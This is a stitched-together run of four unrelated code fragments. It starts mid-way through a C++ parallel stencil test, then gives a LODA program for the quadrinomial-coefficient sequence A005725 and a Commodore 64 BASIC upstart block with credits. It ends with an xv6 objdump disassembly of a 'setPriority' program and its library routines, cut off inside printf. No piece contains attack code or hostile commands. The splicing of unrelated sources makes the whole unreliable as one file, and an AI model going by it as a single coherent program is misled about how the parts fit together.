write_acc[*pir_main_write] = deriv; pir_main_write++;
// slide the window for the next point
for (int j = 0; j < (2*ORDER); j++)
window[j] = window[j+1];
}
// check that we exhausted all the iterators
assert(!pir_left());
assert(!pir_main_read());
assert(!pir_main_write());
assert(!pir_right());
}
int check_task(const Task *task,
const std::vector<PhysicalRegion> ®ions,
Context ctx, Runtime *runtime)
{
SPMDArgs *args = (SPMDArgs*)task->args;
assert(regions.size() == 1);
assert(task->regions.size() == 1);
assert(task->regions[0].privilege_fields.size() == 1);
FieldID fid = *(task->regions[0].privilege_fields.begin());
const FieldAccessor<READ_ONLY,double,1> acc(regions[0], fid);
Rect<1> rect = runtime->get_index_space_domain(ctx,
task->regions[0].region.get_index_space());
int errors = 0;
for (PointInRectIterator<1> pir(rect); pir(); pir++)
{
// the derivative of a ramp with ripples is a constant function with ripples
const int ripple_period = 4;
const double deriv_ripple[ripple_period] = { 4.0, 0, -4.0, 0 };
double exp_value = 12.0 + deriv_ripple[pir[0] % ripple_period];
// correct for the wraparound cases
if(pir[0] < ORDER)
{
// again only actually supporting ORDER == 2
assert(ORDER == 2);
if(pir[0] == 0) exp_value += -7.0 * args->num_elements;
if(pir[0] == 1) exp_value += 1.0 * args->num_elements;
}
if(pir[0] >= (args->num_elements - ORDER))
{
// again only actually supporting ORDER == 2
assert(ORDER == 2);
if(pir[0] == (args->num_elements - 1)) exp_value += -7.0 * args->num_elements;
if(pir[0] == (args->num_elements - 2)) exp_value += 1.0 * args->num_elements;
}
double act_value = acc[*pir];
// polarity is important here - comparisons with NaN always return false
bool ok = ((exp_value < 0) ? ((-act_value >= 0.99 * -exp_value) &&
(-act_value <= 1.01 * -exp_value)) :
(exp_value > 0) ? ((act_value >= 0.99 * exp_value) &&
(act_value <= 1.01 * exp_value)) :
(act_value == 0));
if(!ok)
{
printf("ERROR: check for location %lld failed: expected=%g, actual=%g\n",
pir[0], exp_value, act_value);
errors++;
}
}
return errors;
}
int main(int argc, char **argv)
{
Runtime::set_top_level_task_id(TOP_LEVEL_TASK_ID);
{
TaskVariantRegistrar registrar(TOP_LEVEL_TASK_ID, "top_level");
registrar.add_constraint(ProcessorConstraint(Processor::LOC_PROC));
Runtime::preregister_task_variant<top_level_task>(registrar, "top_level");
}
{
TaskVariantRegistrar registrar(SPMD_TASK_ID, "spmd");
registrar.add_constraint(ProcessorConstraint(Processor::LOC_PROC));
Runtime::preregister_task_variant<spmd_task>(registrar, "spmd");
}
{
TaskVariantRegistrar registrar(INIT_TASK_ID, "init");
registrar.add_constraint(ProcessorConstraint(Processor::LOC_PROC));
registrar.set_leaf(true);
Runtime::preregister_task_variant<init_task>(registrar, "init");
}
{
TaskVariantRegistrar registrar(STENCIL_TASK_ID, "stencil");
registrar.add_constraint(ProcessorConstraint(Processor::LOC_PROC));
registrar.set_leaf(true);
Runtime::preregister_task_variant<stencil_task>(registrar, "stencil");
}
{
TaskVariantRegistrar registrar(CHECK_TASK_ID, "check");
registrar.add_constraint(ProcessorConstraint(Processor::LOC_PROC));
registrar.set_leaf(true);
Runtime::preregister_task_variant<int, check_task>(registrar, "check");
}
return Runtime::start(argc, argv);
}
|
; A005725: Quadrinomial coefficients.
; Submitted by Jon Maiga
; 1,1,3,10,31,101,336,1128,3823,13051,44803,154518,534964,1858156,6472168,22597760,79067375,277164295,973184313,3422117190,12049586631,42478745781,149915252028,529606271560,1872653175556,6627147599476,23471065878276,83186110269928,295024653043480,1046972450508456,3717608331097936,13207699263479296,46947354833055983,166956027343968543,594001965377623461,2114254691233618678,7528355765573521693,26816801460194906239,95558467198654933944,340626742145072828728,1214586045815396727223
mov $3,$0
mov $5,$0
add $5,1
lpb $5
mov $0,$3
mov $2,$3
sub $5,1
sub $0,$5
mov $1,$3
bin $1,$0
sub $0,$5
bin $2,$0
mul $1,$2
add $4,$1
lpe
mov $0,$4
|
.pc = BASIC "Basic upstart" {
.word !+
.byte 1, 0
rp: .byte $9e, $20
.byte $31, $33, $33, $37, 0
!: .word !+
.byte 2, $00
.byte $8f, $20
.text "PET-A-BYTE"
.byte 0
!: .word !+
.byte 3, $00
.byte $8f, $20
.text " "
.text "BY B00LDUCK"
.byte 0
!: .word !+
.byte 5,$00
.byte $8f, $20
.text "CODE: GRAF HARDT"
.byte 0
!: .word !+
.byte 7, $00
.byte $8f, $20
.text "HARDWARE: DR ERGO"
.byte 0
!: .word !+
.byte 11, $00
.byte $80
.byte 0
!: .byte 0,0
} |
_setPriority: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "traps.h"
#include "memlayout.h"
int
main(int argc, char *argv[])
{
0: f3 0f 1e fb endbr32
4: 8d 4c 24 04 lea 0x4(%esp),%ecx
8: 83 e4 f0 and $0xfffffff0,%esp
b: ff 71 fc pushl -0x4(%ecx)
e: 55 push %ebp
f: 89 e5 mov %esp,%ebp
11: 53 push %ebx
12: 51 push %ecx
if(argc!=3)
13: 83 39 03 cmpl $0x3,(%ecx)
{
16: 8b 59 04 mov 0x4(%ecx),%ebx
if(argc!=3)
19: 75 6a jne 85 <main+0x85>
}
else
{
int i=0;
int new_priority=0, pid=0;
while(argv[1][i]!='\0')
1b: 8b 53 04 mov 0x4(%ebx),%edx
int new_priority=0, pid=0;
1e: 31 c9 xor %ecx,%ecx
while(argv[1][i]!='\0')
20: 0f be 02 movsbl (%edx),%eax
23: 83 c2 01 add $0x1,%edx
26: 84 c0 test %al,%al
28: 74 6e je 98 <main+0x98>
2a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
{
new_priority *= 10;
30: 8d 0c 89 lea (%ecx,%ecx,4),%ecx
new_priority += argv[1][i]-(int)'0';
33: 83 c2 01 add $0x1,%edx
36: 8d 4c 48 d0 lea -0x30(%eax,%ecx,2),%ecx
while(argv[1][i]!='\0')
3a: 0f be 42 ff movsbl -0x1(%edx),%eax
3e: 84 c0 test %al,%al
40: 75 ee jne 30 <main+0x30>
i++;
}
i=0;
while(argv[2][i]!='\0')
42: 8b 53 08 mov 0x8(%ebx),%edx
45: 0f be 02 movsbl (%edx),%eax
48: 84 c0 test %al,%al
4a: 74 66 je b2 <main+0xb2>
4c: 83 c2 01 add $0x1,%edx
int new_priority=0, pid=0;
4f: 31 db xor %ebx,%ebx
51: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
{
pid *= 10;
58: 8d 1c 9b lea (%ebx,%ebx,4),%ebx
pid += argv[2][i]-(int)'0';
5b: 83 c2 01 add $0x1,%edx
5e: 8d 5c 58 d0 lea -0x30(%eax,%ebx,2),%ebx
while(argv[2][i]!='\0')
62: 0f be 42 ff movsbl -0x1(%edx),%eax
66: 84 c0 test %al,%al
68: 75 ee jne 58 <main+0x58>
i++;
}
if(new_priority < 0 || new_priority > 100)
6a: 83 f9 64 cmp $0x64,%ecx
6d: 76 35 jbe a4 <main+0xa4>
{
printf(2, "Invalid priority number\n");
6f: 52 push %edx
70: 52 push %edx
71: 68 15 08 00 00 push $0x815
76: 6a 02 push $0x2
78: e8 13 04 00 00 call 490 <printf>
7d: 83 c4 10 add $0x10,%esp
else
{
set_priority(new_priority, pid); //convert string to int????
} //convert string to int????
}
exit();
80: e8 9e 02 00 00 call 323 <exit>
printf(2, "Invalid Number of Arguments\n");
85: 51 push %ecx
86: 51 push %ecx
87: 68 f8 07 00 00 push $0x7f8
8c: 6a 02 push $0x2
8e: e8 fd 03 00 00 call 490 <printf>
93: 83 c4 10 add $0x10,%esp
96: eb e8 jmp 80 <main+0x80>
while(argv[2][i]!='\0')
98: 8b 53 08 mov 0x8(%ebx),%edx
int new_priority=0, pid=0;
9b: 31 db xor %ebx,%ebx
while(argv[2][i]!='\0')
9d: 0f be 02 movsbl (%edx),%eax
a0: 84 c0 test %al,%al
a2: 75 a8 jne 4c <main+0x4c>
set_priority(new_priority, pid); //convert string to int????
a4: 50 push %eax
a5: 50 push %eax
a6: 53 push %ebx
a7: 51 push %ecx
a8: e8 1e 03 00 00 call 3cb <set_priority>
ad: 83 c4 10 add $0x10,%esp
b0: eb ce jmp 80 <main+0x80>
int new_priority=0, pid=0;
b2: 31 db xor %ebx,%ebx
b4: eb b4 jmp 6a <main+0x6a>
b6: 66 90 xchg %ax,%ax
b8: 66 90 xchg %ax,%ax
ba: 66 90 xchg %ax,%ax
bc: 66 90 xchg %ax,%ax
be: 66 90 xchg %ax,%ax
000000c0 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, const char *t)
{
c0: f3 0f 1e fb endbr32
c4: 55 push %ebp
char *os;
os = s;
while((*s++ = *t++) != 0)
c5: 31 c0 xor %eax,%eax
{
c7: 89 e5 mov %esp,%ebp
c9: 53 push %ebx
ca: 8b 4d 08 mov 0x8(%ebp),%ecx
cd: 8b 5d 0c mov 0xc(%ebp),%ebx
while((*s++ = *t++) != 0)
d0: 0f b6 14 03 movzbl (%ebx,%eax,1),%edx
d4: 88 14 01 mov %dl,(%ecx,%eax,1)
d7: 83 c0 01 add $0x1,%eax
da: 84 d2 test %dl,%dl
dc: 75 f2 jne d0 <strcpy+0x10>
;
return os;
}
de: 89 c8 mov %ecx,%eax
e0: 5b pop %ebx
e1: 5d pop %ebp
e2: c3 ret
e3: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
ea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
000000f0 <strcmp>:
int
strcmp(const char *p, const char *q)
{
f0: f3 0f 1e fb endbr32
f4: 55 push %ebp
f5: 89 e5 mov %esp,%ebp
f7: 53 push %ebx
f8: 8b 4d 08 mov 0x8(%ebp),%ecx
fb: 8b 55 0c mov 0xc(%ebp),%edx
while(*p && *p == *q)
fe: 0f b6 01 movzbl (%ecx),%eax
101: 0f b6 1a movzbl (%edx),%ebx
104: 84 c0 test %al,%al
106: 75 19 jne 121 <strcmp+0x31>
108: eb 26 jmp 130 <strcmp+0x40>
10a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
110: 0f b6 41 01 movzbl 0x1(%ecx),%eax
p++, q++;
114: 83 c1 01 add $0x1,%ecx
117: 83 c2 01 add $0x1,%edx
while(*p && *p == *q)
11a: 0f b6 1a movzbl (%edx),%ebx
11d: 84 c0 test %al,%al
11f: 74 0f je 130 <strcmp+0x40>
121: 38 d8 cmp %bl,%al
123: 74 eb je 110 <strcmp+0x20>
return (uchar)*p - (uchar)*q;
125: 29 d8 sub %ebx,%eax
}
127: 5b pop %ebx
128: 5d pop %ebp
129: c3 ret
12a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
130: 31 c0 xor %eax,%eax
return (uchar)*p - (uchar)*q;
132: 29 d8 sub %ebx,%eax
}
134: 5b pop %ebx
135: 5d pop %ebp
136: c3 ret
137: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
13e: 66 90 xchg %ax,%ax
00000140 <strlen>:
uint
strlen(const char *s)
{
140: f3 0f 1e fb endbr32
144: 55 push %ebp
145: 89 e5 mov %esp,%ebp
147: 8b 55 08 mov 0x8(%ebp),%edx
int n;
for(n = 0; s[n]; n++)
14a: 80 3a 00 cmpb $0x0,(%edx)
14d: 74 21 je 170 <strlen+0x30>
14f: 31 c0 xor %eax,%eax
151: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
158: 83 c0 01 add $0x1,%eax
15b: 80 3c 02 00 cmpb $0x0,(%edx,%eax,1)
15f: 89 c1 mov %eax,%ecx
161: 75 f5 jne 158 <strlen+0x18>
;
return n;
}
163: 89 c8 mov %ecx,%eax
165: 5d pop %ebp
166: c3 ret
167: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
16e: 66 90 xchg %ax,%ax
for(n = 0; s[n]; n++)
170: 31 c9 xor %ecx,%ecx
}
172: 5d pop %ebp
173: 89 c8 mov %ecx,%eax
175: c3 ret
176: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
17d: 8d 76 00 lea 0x0(%esi),%esi
00000180 <memset>:
void*
memset(void *dst, int c, uint n)
{
180: f3 0f 1e fb endbr32
184: 55 push %ebp
185: 89 e5 mov %esp,%ebp
187: 57 push %edi
188: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
18b: 8b 4d 10 mov 0x10(%ebp),%ecx
18e: 8b 45 0c mov 0xc(%ebp),%eax
191: 89 d7 mov %edx,%edi
193: fc cld
194: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
196: 89 d0 mov %edx,%eax
198: 5f pop %edi
199: 5d pop %ebp
19a: c3 ret
19b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
19f: 90 nop
000001a0 <strchr>:
char*
strchr(const char *s, char c)
{
1a0: f3 0f 1e fb endbr32
1a4: 55 push %ebp
1a5: 89 e5 mov %esp,%ebp
1a7: 8b 45 08 mov 0x8(%ebp),%eax
1aa: 0f b6 4d 0c movzbl 0xc(%ebp),%ecx
for(; *s; s++)
1ae: 0f b6 10 movzbl (%eax),%edx
1b1: 84 d2 test %dl,%dl
1b3: 75 16 jne 1cb <strchr+0x2b>
1b5: eb 21 jmp 1d8 <strchr+0x38>
1b7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
1be: 66 90 xchg %ax,%ax
1c0: 0f b6 50 01 movzbl 0x1(%eax),%edx
1c4: 83 c0 01 add $0x1,%eax
1c7: 84 d2 test %dl,%dl
1c9: 74 0d je 1d8 <strchr+0x38>
if(*s == c)
1cb: 38 d1 cmp %dl,%cl
1cd: 75 f1 jne 1c0 <strchr+0x20>
return (char*)s;
return 0;
}
1cf: 5d pop %ebp
1d0: c3 ret
1d1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
return 0;
1d8: 31 c0 xor %eax,%eax
}
1da: 5d pop %ebp
1db: c3 ret
1dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
000001e0 <gets>:
char*
gets(char *buf, int max)
{
1e0: f3 0f 1e fb endbr32
1e4: 55 push %ebp
1e5: 89 e5 mov %esp,%ebp
1e7: 57 push %edi
1e8: 56 push %esi
int i, cc;
char c;
for(i=0; i+1 < max; ){
1e9: 31 f6 xor %esi,%esi
{
1eb: 53 push %ebx
1ec: 89 f3 mov %esi,%ebx
1ee: 83 ec 1c sub $0x1c,%esp
1f1: 8b 7d 08 mov 0x8(%ebp),%edi
for(i=0; i+1 < max; ){
1f4: eb 33 jmp 229 <gets+0x49>
1f6: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
1fd: 8d 76 00 lea 0x0(%esi),%esi
cc = read(0, &c, 1);
200: 83 ec 04 sub $0x4,%esp
203: 8d 45 e7 lea -0x19(%ebp),%eax
206: 6a 01 push $0x1
208: 50 push %eax
209: 6a 00 push $0x0
20b: e8 2b 01 00 00 call 33b <read>
if(cc < 1)
210: 83 c4 10 add $0x10,%esp
213: 85 c0 test %eax,%eax
215: 7e 1c jle 233 <gets+0x53>
break;
buf[i++] = c;
217: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
21b: 83 c7 01 add $0x1,%edi
21e: 88 47 ff mov %al,-0x1(%edi)
if(c == '\n' || c == '\r')
221: 3c 0a cmp $0xa,%al
223: 74 23 je 248 <gets+0x68>
225: 3c 0d cmp $0xd,%al
227: 74 1f je 248 <gets+0x68>
for(i=0; i+1 < max; ){
229: 83 c3 01 add $0x1,%ebx
22c: 89 fe mov %edi,%esi
22e: 3b 5d 0c cmp 0xc(%ebp),%ebx
231: 7c cd jl 200 <gets+0x20>
233: 89 f3 mov %esi,%ebx
break;
}
buf[i] = '\0';
return buf;
}
235: 8b 45 08 mov 0x8(%ebp),%eax
buf[i] = '\0';
238: c6 03 00 movb $0x0,(%ebx)
}
23b: 8d 65 f4 lea -0xc(%ebp),%esp
23e: 5b pop %ebx
23f: 5e pop %esi
240: 5f pop %edi
241: 5d pop %ebp
242: c3 ret
243: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
247: 90 nop
248: 8b 75 08 mov 0x8(%ebp),%esi
24b: 8b 45 08 mov 0x8(%ebp),%eax
24e: 01 de add %ebx,%esi
250: 89 f3 mov %esi,%ebx
buf[i] = '\0';
252: c6 03 00 movb $0x0,(%ebx)
}
255: 8d 65 f4 lea -0xc(%ebp),%esp
258: 5b pop %ebx
259: 5e pop %esi
25a: 5f pop %edi
25b: 5d pop %ebp
25c: c3 ret
25d: 8d 76 00 lea 0x0(%esi),%esi
00000260 <stat>:
int
stat(const char *n, struct stat *st)
{
260: f3 0f 1e fb endbr32
264: 55 push %ebp
265: 89 e5 mov %esp,%ebp
267: 56 push %esi
268: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
269: 83 ec 08 sub $0x8,%esp
26c: 6a 00 push $0x0
26e: ff 75 08 pushl 0x8(%ebp)
271: e8 ed 00 00 00 call 363 <open>
if(fd < 0)
276: 83 c4 10 add $0x10,%esp
279: 85 c0 test %eax,%eax
27b: 78 2b js 2a8 <stat+0x48>
return -1;
r = fstat(fd, st);
27d: 83 ec 08 sub $0x8,%esp
280: ff 75 0c pushl 0xc(%ebp)
283: 89 c3 mov %eax,%ebx
285: 50 push %eax
286: e8 f0 00 00 00 call 37b <fstat>
close(fd);
28b: 89 1c 24 mov %ebx,(%esp)
r = fstat(fd, st);
28e: 89 c6 mov %eax,%esi
close(fd);
290: e8 b6 00 00 00 call 34b <close>
return r;
295: 83 c4 10 add $0x10,%esp
}
298: 8d 65 f8 lea -0x8(%ebp),%esp
29b: 89 f0 mov %esi,%eax
29d: 5b pop %ebx
29e: 5e pop %esi
29f: 5d pop %ebp
2a0: c3 ret
2a1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
return -1;
2a8: be ff ff ff ff mov $0xffffffff,%esi
2ad: eb e9 jmp 298 <stat+0x38>
2af: 90 nop
000002b0 <atoi>:
int
atoi(const char *s)
{
2b0: f3 0f 1e fb endbr32
2b4: 55 push %ebp
2b5: 89 e5 mov %esp,%ebp
2b7: 53 push %ebx
2b8: 8b 55 08 mov 0x8(%ebp),%edx
int n;
n = 0;
while('0' <= *s && *s <= '9')
2bb: 0f be 02 movsbl (%edx),%eax
2be: 8d 48 d0 lea -0x30(%eax),%ecx
2c1: 80 f9 09 cmp $0x9,%cl
n = 0;
2c4: b9 00 00 00 00 mov $0x0,%ecx
while('0' <= *s && *s <= '9')
2c9: 77 1a ja 2e5 <atoi+0x35>
2cb: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
2cf: 90 nop
n = n*10 + *s++ - '0';
2d0: 83 c2 01 add $0x1,%edx
2d3: 8d 0c 89 lea (%ecx,%ecx,4),%ecx
2d6: 8d 4c 48 d0 lea -0x30(%eax,%ecx,2),%ecx
while('0' <= *s && *s <= '9')
2da: 0f be 02 movsbl (%edx),%eax
2dd: 8d 58 d0 lea -0x30(%eax),%ebx
2e0: 80 fb 09 cmp $0x9,%bl
2e3: 76 eb jbe 2d0 <atoi+0x20>
return n;
}
2e5: 89 c8 mov %ecx,%eax
2e7: 5b pop %ebx
2e8: 5d pop %ebp
2e9: c3 ret
2ea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
000002f0 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
2f0: f3 0f 1e fb endbr32
2f4: 55 push %ebp
2f5: 89 e5 mov %esp,%ebp
2f7: 57 push %edi
2f8: 8b 45 10 mov 0x10(%ebp),%eax
2fb: 8b 55 08 mov 0x8(%ebp),%edx
2fe: 56 push %esi
2ff: 8b 75 0c mov 0xc(%ebp),%esi
char *dst;
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
302: 85 c0 test %eax,%eax
304: 7e 0f jle 315 <memmove+0x25>
306: 01 d0 add %edx,%eax
dst = vdst;
308: 89 d7 mov %edx,%edi
30a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
*dst++ = *src++;
310: a4 movsb %ds:(%esi),%es:(%edi)
while(n-- > 0)
311: 39 f8 cmp %edi,%eax
313: 75 fb jne 310 <memmove+0x20>
return vdst;
}
315: 5e pop %esi
316: 89 d0 mov %edx,%eax
318: 5f pop %edi
319: 5d pop %ebp
31a: c3 ret
0000031b <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
31b: b8 01 00 00 00 mov $0x1,%eax
320: cd 40 int $0x40
322: c3 ret
00000323 <exit>:
SYSCALL(exit)
323: b8 02 00 00 00 mov $0x2,%eax
328: cd 40 int $0x40
32a: c3 ret
0000032b <wait>:
SYSCALL(wait)
32b: b8 03 00 00 00 mov $0x3,%eax
330: cd 40 int $0x40
332: c3 ret
00000333 <pipe>:
SYSCALL(pipe)
333: b8 04 00 00 00 mov $0x4,%eax
338: cd 40 int $0x40
33a: c3 ret
0000033b <read>:
SYSCALL(read)
33b: b8 05 00 00 00 mov $0x5,%eax
340: cd 40 int $0x40
342: c3 ret
00000343 <write>:
SYSCALL(write)
343: b8 10 00 00 00 mov $0x10,%eax
348: cd 40 int $0x40
34a: c3 ret
0000034b <close>:
SYSCALL(close)
34b: b8 15 00 00 00 mov $0x15,%eax
350: cd 40 int $0x40
352: c3 ret
00000353 <kill>:
SYSCALL(kill)
353: b8 06 00 00 00 mov $0x6,%eax
358: cd 40 int $0x40
35a: c3 ret
0000035b <exec>:
SYSCALL(exec)
35b: b8 07 00 00 00 mov $0x7,%eax
360: cd 40 int $0x40
362: c3 ret
00000363 <open>:
SYSCALL(open)
363: b8 0f 00 00 00 mov $0xf,%eax
368: cd 40 int $0x40
36a: c3 ret
0000036b <mknod>:
SYSCALL(mknod)
36b: b8 11 00 00 00 mov $0x11,%eax
370: cd 40 int $0x40
372: c3 ret
00000373 <unlink>:
SYSCALL(unlink)
373: b8 12 00 00 00 mov $0x12,%eax
378: cd 40 int $0x40
37a: c3 ret
0000037b <fstat>:
SYSCALL(fstat)
37b: b8 08 00 00 00 mov $0x8,%eax
380: cd 40 int $0x40
382: c3 ret
00000383 <link>:
SYSCALL(link)
383: b8 13 00 00 00 mov $0x13,%eax
388: cd 40 int $0x40
38a: c3 ret
0000038b <mkdir>:
SYSCALL(mkdir)
38b: b8 14 00 00 00 mov $0x14,%eax
390: cd 40 int $0x40
392: c3 ret
00000393 <chdir>:
SYSCALL(chdir)
393: b8 09 00 00 00 mov $0x9,%eax
398: cd 40 int $0x40
39a: c3 ret
0000039b <dup>:
SYSCALL(dup)
39b: b8 0a 00 00 00 mov $0xa,%eax
3a0: cd 40 int $0x40
3a2: c3 ret
000003a3 <getpid>:
SYSCALL(getpid)
3a3: b8 0b 00 00 00 mov $0xb,%eax
3a8: cd 40 int $0x40
3aa: c3 ret
000003ab <sbrk>:
SYSCALL(sbrk)
3ab: b8 0c 00 00 00 mov $0xc,%eax
3b0: cd 40 int $0x40
3b2: c3 ret
000003b3 <sleep>:
SYSCALL(sleep)
3b3: b8 0d 00 00 00 mov $0xd,%eax
3b8: cd 40 int $0x40
3ba: c3 ret
000003bb <uptime>:
SYSCALL(uptime)
3bb: b8 0e 00 00 00 mov $0xe,%eax
3c0: cd 40 int $0x40
3c2: c3 ret
000003c3 <waitx>:
SYSCALL(waitx)
3c3: b8 16 00 00 00 mov $0x16,%eax
3c8: cd 40 int $0x40
3ca: c3 ret
000003cb <set_priority>:
SYSCALL(set_priority)
3cb: b8 17 00 00 00 mov $0x17,%eax
3d0: cd 40 int $0x40
3d2: c3 ret
000003d3 <ps>:
3d3: b8 18 00 00 00 mov $0x18,%eax
3d8: cd 40 int $0x40
3da: c3 ret
3db: 66 90 xchg %ax,%ax
3dd: 66 90 xchg %ax,%ax
3df: 90 nop
000003e0 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
3e0: 55 push %ebp
3e1: 89 e5 mov %esp,%ebp
3e3: 57 push %edi
3e4: 56 push %esi
3e5: 53 push %ebx
3e6: 83 ec 3c sub $0x3c,%esp
3e9: 89 4d c4 mov %ecx,-0x3c(%ebp)
uint x;
neg = 0;
if(sgn && xx < 0){
neg = 1;
x = -xx;
3ec: 89 d1 mov %edx,%ecx
{
3ee: 89 45 b8 mov %eax,-0x48(%ebp)
if(sgn && xx < 0){
3f1: 85 d2 test %edx,%edx
3f3: 0f 89 7f 00 00 00 jns 478 <printint+0x98>
3f9: f6 45 08 01 testb $0x1,0x8(%ebp)
3fd: 74 79 je 478 <printint+0x98>
neg = 1;
3ff: c7 45 bc 01 00 00 00 movl $0x1,-0x44(%ebp)
x = -xx;
406: f7 d9 neg %ecx
} else {
x = xx;
}
i = 0;
408: 31 db xor %ebx,%ebx
40a: 8d 75 d7 lea -0x29(%ebp),%esi
40d: 8d 76 00 lea 0x0(%esi),%esi
do{
buf[i++] = digits[x % base];
410: 89 c8 mov %ecx,%eax
412: 31 d2 xor %edx,%edx
414: 89 cf mov %ecx,%edi
416: f7 75 c4 divl -0x3c(%ebp)
419: 0f b6 92 38 08 00 00 movzbl 0x838(%edx),%edx
420: 89 45 c0 mov %eax,-0x40(%ebp)
423: 89 d8 mov %ebx,%eax
425: 8d 5b 01 lea 0x1(%ebx),%ebx
}while((x /= base) != 0);
428: 8b 4d c0 mov -0x40(%ebp),%ecx
buf[i++] = digits[x % base];
42b: 88 14 1e mov %dl,(%esi,%ebx,1)
}while((x /= base) != 0);
42e: 39 7d c4 cmp %edi,-0x3c(%ebp)
431: 76 dd jbe 410 <printint+0x30>
if(neg)
433: 8b 4d bc mov -0x44(%ebp),%ecx
436: 85 c9 test %ecx,%ecx
438: 74 0c je 446 <printint+0x66>
buf[i++] = '-';
43a: c6 44 1d d8 2d movb $0x2d,-0x28(%ebp,%ebx,1)
buf[i++] = digits[x % base];
43f: 89 d8 mov %ebx,%eax
buf[i++] = '-';
441: ba 2d 00 00 00 mov $0x2d,%edx
while(--i >= 0)
446: 8b 7d b8 mov -0x48(%ebp),%edi
449: 8d 5c 05 d7 lea -0x29(%ebp,%eax,1),%ebx
44d: eb 07 jmp 456 <printint+0x76>
44f: 90 nop
450: 0f b6 13 movzbl (%ebx),%edx
453: 83 eb 01 sub $0x1,%ebx
write(fd, &c, 1);
456: 83 ec 04 sub $0x4,%esp
459: 88 55 d7 mov %dl,-0x29(%ebp)
45c: 6a 01 push $0x1
45e: 56 push %esi
45f: 57 push %edi
460: e8 de fe ff ff call 343 <write>
while(--i >= 0)
465: 83 c4 10 add $0x10,%esp
468: 39 de cmp %ebx,%esi
46a: 75 e4 jne 450 <printint+0x70>
putc(fd, buf[i]);
}
46c: 8d 65 f4 lea -0xc(%ebp),%esp
46f: 5b pop %ebx
470: 5e pop %esi
471: 5f pop %edi
472: 5d pop %ebp
473: c3 ret
474: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
neg = 0;
478: c7 45 bc 00 00 00 00 movl $0x0,-0x44(%ebp)
47f: eb 87 jmp 408 <printint+0x28>
481: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
488: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
48f: 90 nop
00000490 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
490: f3 0f 1e fb endbr32
494: 55 push %ebp
495: 89 e5 mov %esp,%ebp
497: 57 push %edi
498: 56 push %esi
499: 53 push %ebx
49a: 83 ec 2c sub $0x2c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
49d: 8b 75 0c mov 0xc(%ebp),%esi
4a0: 0f b6 1e movzbl (%esi),%ebx
4a3: 84 db test %bl,%bl
4a5: 0f 84 b4 00 00 00 je 55f <printf+0xcf>
ap = (uint*)(void*)&fmt + 1;
4ab: 8d 45 10 lea 0x10(%ebp),%eax
4ae: 83 c6 01 add $0x1,%esi
write(fd, &c, 1);
4b1: 8d 7d e7 lea -0x19(%ebp),%edi
state = 0;
4b4: 31 d2 xor %edx,%edx
ap = (uint*)(void*)&fmt + 1;
4b6: 89 45 d0 mov %eax,-0x30(%ebp)
4b9: eb 33 jmp 4ee <printf+0x5e>
4bb: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
4bf: 90 nop
4c0: 89 55 d4 mov %edx,-0x2c(%ebp)
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
state = '%';
4c3: ba 25 00 00 00 mov $0x25,%edx
if(c == '%'){
4c8: 83 f8 25 cmp $0x25,%eax
4cb: 74 17 je 4e4 <printf+0x54>
write(fd, &c, 1);
4cd: 83 ec 04 sub $0x4,%esp
4d0: 88 5d e7 mov %bl,-0x19(%ebp)
4d3: 6a 01 push $0x1
4d5: 57 push %edi
4d6: ff 75 08 pushl 0x8(%ebp)
4d9: e8 65 fe ff ff call 343 <write>
4de: 8b 55 d4 mov -0x2c(%ebp),%edx
} else {
putc(fd, c);
4e1: 83 c4 10 add $0x10,%esp
for(i = 0; fmt[i]; i++){
4e4: 0f b6 1e movzbl (%esi),%ebx
4e7: 83 c6 01 add $0x1,%esi
4ea: 84 db test %bl,%bl
4ec: 74 71 je 55f <printf+0xcf>
c = fmt[i] & 0xff;
4ee: 0f be cb movsbl %bl,%ecx
4f1: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
4f4: 85 d2 test %edx,%edx
4f6: 74 c8 je 4c0 <printf+0x30>
}
} else if(state == '%'){
4f8: 83 fa 25 cmp $0x25,%edx
4fb: 75 e7 jne 4e4 <printf+0x54>
if(c == 'd'){
4fd: 83 f8 64 cmp $0x64,%eax
500: 0f 84 9a 00 00 00 je 5a0 <printf+0x110>
printint(fd, *ap, 10, 1);
